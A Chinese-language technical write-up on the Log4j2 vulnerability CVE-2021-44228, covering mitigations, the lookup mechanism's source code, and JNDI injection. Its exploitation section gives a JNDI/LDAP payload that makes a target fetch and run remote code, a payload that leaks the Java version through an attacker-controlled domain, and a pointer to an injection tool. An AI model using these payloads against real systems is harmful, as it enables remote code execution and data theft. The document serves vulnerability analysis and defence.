1 Log4j2漏洞官方描述
Apache Log4j2 是一个基于Java的开源日志记录框架,该框架重写了Log4j框架,是其前身Log4j 1.x 的重写升级版,并且引入了大量丰富的特性,使用非常的广泛。该框架被大量用于业务系统开发,用来记录日志信息。
Log4j 2.x 缓解措施
- 升级到 Log4j 2.3.1(适用于 Java 6)、2.12.3(适用于 Java 7)或 2.17.1(适用于 Java 8 及更高版本)。
- 或者,可以在配置中缓解这种无限递归问题:
- )在日志记录配置的 PatternLayout 中,用线程上下文映射模式(%X、%mdc 或 %MDC)替换 ${ctx:loginId} 或 $${ctx:loginId} 等上下文查找。
- )否则,在配置中,删除对上下文查找的引用,如 ${ctx:loginId} 或 $${ctx:loginId},它们源自应用程序外部的源,如 HTTP 标头或用户输入。
2 log4j2之lookup机制
前言
在log4j2中, 共有8个日志级别,按照从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF。
All:最低等级的,用于打开所有日志记录.
Trace:是追踪,就是程序推进一下.
Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.
Info:消息在粗粒度级别上突出强调应用程序的运行过程.
Warn:输出警告及warn以下级别的日志.
Error:输出错误信息日志.
Fatal:输出每个严重的错误事件将会导致应用程序的退出的日志.
程序会打印高于或等于所设置级别的日志, 如下面图示,所以设置的日志级别不要太高。
正文
在org.apache.logging.log4j.core.pattern.MessagePatternConverter.format中,会按字符检测每条日志,一旦发现某条日志中包含$ {,就会将表达式的内容替换,而不是表达式本身,this.config.getStrSubstitutor().replace(event, value)执行下一步替换操作:
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i){
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{'){
//包含 “ $ { ” 则替换表达式内容
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
} } }
转到org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(final LogEvent event, final String source)
replace()中当source != null 时执行substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List priorVariables)
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null; }
else {
StringBuilder buf = new StringBuilder(source);
return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
} }
substitute方法主要是一个字符串查找函数,后面的resolveVariable()函数执行了变量解析
resolveVariable()这个函数根据变量的协议进行查找
剩下的就是lookup去解析
其中StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix)可以根据前缀寻找对应协议的lookup,log4j2支持的lookup协议如下:
总结:
日志在打印时当遇到 ${ 后,以 : 号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。
3 Log4j2漏洞
log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,详细参考这里:
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
3.1 JNDI注入介绍
jndi注入利用的动态类加载完成攻击,JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。这些命名/目录服务提供者如下:
JNDI客户端调用方式:
//指定需要查找name名称
String jndiName= request.getParameterNames(name);
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);
这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。
JNDI具体攻击利用方法见:
3.2 CVE-2021-44228 RCE
通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令 ${jndi:ldap://xxx.xxx.xxx.xxx/exp}
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
3.3 多种方法漏洞利用
方法一:利用 JNDI 注入器
github 下载 jndi 注入器(下载 jar 包即可)
Releases · welk1n/JNDI-Injection-Exploit · GitHub
方法二:利用 dnslog 检测并外带数据
访问 https://log.xn--9tr.com/,点击 Get SubDomain 获取域名(当然也可以选择其他平台,比如 dnslog、ceye 等)。
外带数据的 payload: ${jndi:ldap://${sys.java.version}.collaborator.com}
参考:
《Log4j2 研究之lookup》—— 宽字节安全